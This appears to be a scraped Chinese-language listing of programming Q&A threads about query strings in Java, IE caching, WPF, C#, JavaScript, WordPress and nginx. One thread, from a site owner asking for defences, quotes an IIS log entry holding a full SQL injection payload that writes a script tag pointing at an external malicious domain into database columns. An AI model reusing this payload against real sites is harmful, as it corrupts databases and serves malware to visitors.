标签: query-string

是否已弃用javax.servlet.http.HttpUtils.parseQueryString?

我希望解析URL以获取Java中的查询字符串参数的集合.为了清楚起见,我需要解析给定的URL(或URL对象的字符串值),而不是来自servlet请求的URL.

看起来该javax.servlet.http.HttpUtils.parseQueryString方法似乎是明显的选择,但它已被弃用.

是否有一种我缺少的替代方法,或者它是否在没有等效替换/增强功能的情况下被弃用?

java url parsing query-string

10
推荐指数
2
解决办法
1万
查看次数

随机查询字符串,以避免IE缓存

一个众所周知的问题是IE缓存了太多的html,即使给每个页面都有一个Cache-Control: no-cacheLast-Modified标题.

在使用查询字符串获取动态信息时,这种行为确实令人不安,因为IE认为它是同一页面(即:)http://example.com/?id=10并提供缓存版本.

我已经解决了它在查询字符串中添加随机数或时间字符串(正如其他人所做的那样)http://example.com/?id=10&t=2009-08-06_13:12:56,我只是忽略了服务器端.

有更好的选择吗?是否有另一种更清洁的方式来实现这一目标?我知道它POST没有被缓存,但GET在这里使用它是语义上正确的.

html query-string

10
推荐指数
3
解决办法
2万
查看次数

通过其Uri将参数传递给WPF页面

在导航样式的WPF应用程序(NavigationWindow,而不是XBAP)的上下文中:

Hyperlink的NavigateUri是否可以包含额外的参数,例如路径数据或查询字符串?例如,有什么方法可以将我的NavigateUri设置为/Product.xaml/123/Product.xaml?id=123,并让我的Product.xaml页面能够看到它被调用参数123

navigation wpf navigateuri query-string

10
推荐指数
1
解决办法
3万
查看次数

使用ac#lambda有效的将NameValueCollection转换为查询字符串?

在研究如何将NameValueCollection转换为查询字符串时,我遇到了不同的方法.如果较短的lambda语法尽可能高效,我很好奇.

如何使用迭代函数将NameValueCollection转换为(Query)String.

public static String ConstructQueryString(NameValueCollection parameters)
{
    List<String> items = new List<String>();

    foreach (String name in parameters)
        items.Add(String.Concat(name, "=", System.Web.HttpUtility.UrlEncode(parameters[name])));

    return String.Join("&", items.ToArray());
}
Run Code Online (Sandbox Code Playgroud)

将一个NameValueCollection加入到C#中的查询字符串中使用一个lambda表达式,看起来不错,但我不确定它是否是高效的代码.

private static string JoinNvcToQs(NameValueCollection qs)
{
    return string.Join("&", Array.ConvertAll(qs.AllKeys, key => string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(qs[key]))));
}
Run Code Online (Sandbox Code Playgroud)

c# performance lambda query-string

10
推荐指数
2
解决办法
7347
查看次数

攻击使用SQL Server数据库的ASP站点

我们有一个显然受到攻击的调查网站.症状与本网站的以下页面中描述的症状相同: ASP.NET网站上的XSS攻击.

我在IIS日志中发现了多个包含恶意代码的条目:

</ title> <script src = http:// google-stats49.info/ur.php>.

以下是其中一个IIS日志条目的cs-uri-query字段值的示例.

surveyID = 91 +更新+ usd_ResponseDetails +设定+类别名称= REPLACE(铸造(类别名称+为+ VARCHAR(8000)),流延(CHAR(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar( 116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar( 116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar( 58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar( 115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar( 102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar( 60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+为+ VARCHAR(8000)) ,铸(CHAR(32)+ AS + VARCHAR(8))) -

我不明白上面的代码是如何工作的,但显然这是在查询字符串中发送的内容,以破坏我们的数据库表中的列.我们暂时关闭了我们的网站.我们可以从数据库中删除脚本,但这并不能防止它在我们将网站重新联机时再次损坏.

有没有人对如何防止这种情况发生任何建议?

javascript sql-server asp-classic query-string

10
推荐指数
1
解决办法
1万
查看次数

在Querystring/Post/Get请求中检查重复键的最佳方法是什么

我正在编写一个小API,需要检查请求中的重复键.有人可以推荐检查重复密钥的最佳方法.我知道我可以检查key.Value中字符串中的逗号,但后来我又遇到了另一个不允许在API请求中使用逗号的问题.

    //Does not compile- just for illustration
    private void convertQueryStringToDictionary(HttpContext context)
    {
       queryDict = new Dictionary<string, string>();
        foreach (string key in context.Request.QueryString.Keys)
        {
            if (key.Count() > 0)  //Error here- How do I check for multiple values?
            {       
                context.Response.Write(string.Format("Uh-oh"));
            }
            queryDict.Add(key, context.Request.QueryString[key]);
        }       
    }
Run Code Online (Sandbox Code Playgroud)

c# query-string

10
推荐指数
1
解决办法
5490
查看次数

切换查询字符串变量

我一直在为此而奋斗.

使用jquery或javascript,我如何切换变量和值,然后重建查询字符串?例如,我的起始网址是:

http://example.com?color=red&size=small,medium,large&shape=round
Run Code Online (Sandbox Code Playgroud)

然后,如果用户点击标有"红色"的按钮,我想最终得到:

http://example.com?size=small,medium,large&shape=round //color is removed
Run Code Online (Sandbox Code Playgroud)

然后,如果用户再次点击"红色",我想最终得到:

http://example.com?size=small,medium,large&shape=round&color=red //color is added back
Run Code Online (Sandbox Code Playgroud)

然后,如果用户单击标有"中"的按钮,我想最终得到:

http://example.com?size=small,large&shape=round&color=red //medium is removed from list
Run Code Online (Sandbox Code Playgroud)

然后,如果用户再次点击标记的"媒介",我想最终得到:

http://example.com?size=small,large,medium&shape=round&color=red //medium added back
Run Code Online (Sandbox Code Playgroud)

变量的顺序并不重要; 我刚刚把它们搞定到最后.

javascript jquery query-string

10
推荐指数
2
解决办法
2048
查看次数

在wordpress中获取查询字符串参数值

我正在制作一个wordpress插件.我在锚点中使用了add_query_string(),以便根据用户点击的链接加载内容.现在我需要知道在当前URI中获取参数值的最佳方法.

这可能是一个非常基本和愚蠢的问题,但我是编程的新手,所以如果我误解了一些术语,我很抱歉.

这是代码:

        if ( current_user_can('manage_options') ) {
            echo (
                '<div>
                    <ul>
                        <li><a href="'.add_query_arg( 'adminoption', 1 ).'">option 1</a></li>
                        <li><a href="'.add_query_arg( 'adminoption', 2 ).'">option 2</a></li>
                    </ul>
                </div>'
            );

            // if adminoption == 1 load content A
            // if adminoption == 2 load content B

        }
Run Code Online (Sandbox Code Playgroud)

wordpress query-string

10
推荐指数
4
解决办法
5万
查看次数

获取被调用的javascript文件上的查询字符串

是否可以在被调用的javascript文件上使用javascript获取查询参数,如下所示:

// in html
<script src="/file.js?query=string"></script>

// in file.js
console.log(this.location.query)
Run Code Online (Sandbox Code Playgroud)

这可能是某种方式,或者我必须使用服务器?

javascript url file query-string

10
推荐指数
3
解决办法
9541
查看次数

Nginx proxy_pass从查询字符串重定向到URL

我正在使用Nginx并尝试使用proxy_pass重定向到作为查询字符串的URL.我还想避免将任何其他参数传递给该URL.

这是我发送给代理的网址:http://10.10.10.10/proxydownload? url= http : //www.test.com/d/guid/download&session=123

这就是我在nginx.conf中所拥有的:

location /proxydownload {
    proxy_pass $arg_url;
}
Run Code Online (Sandbox Code Playgroud)

但是,这会产生502错误,我不知道为什么.根据日志,$ arg_url包含" http://www.test.com/d/guid/download ",这就是我想要的网址.我试图在proxy_pass中对URL进行硬编码并且它有效:

location /proxydownload {
    proxy_pass http://www.test.com/d/guid/download;
}
Run Code Online (Sandbox Code Playgroud)

我使用$ arg_url的方式有什么不对吗?

nginx proxypass query-string

10
推荐指数
1
解决办法
671
查看次数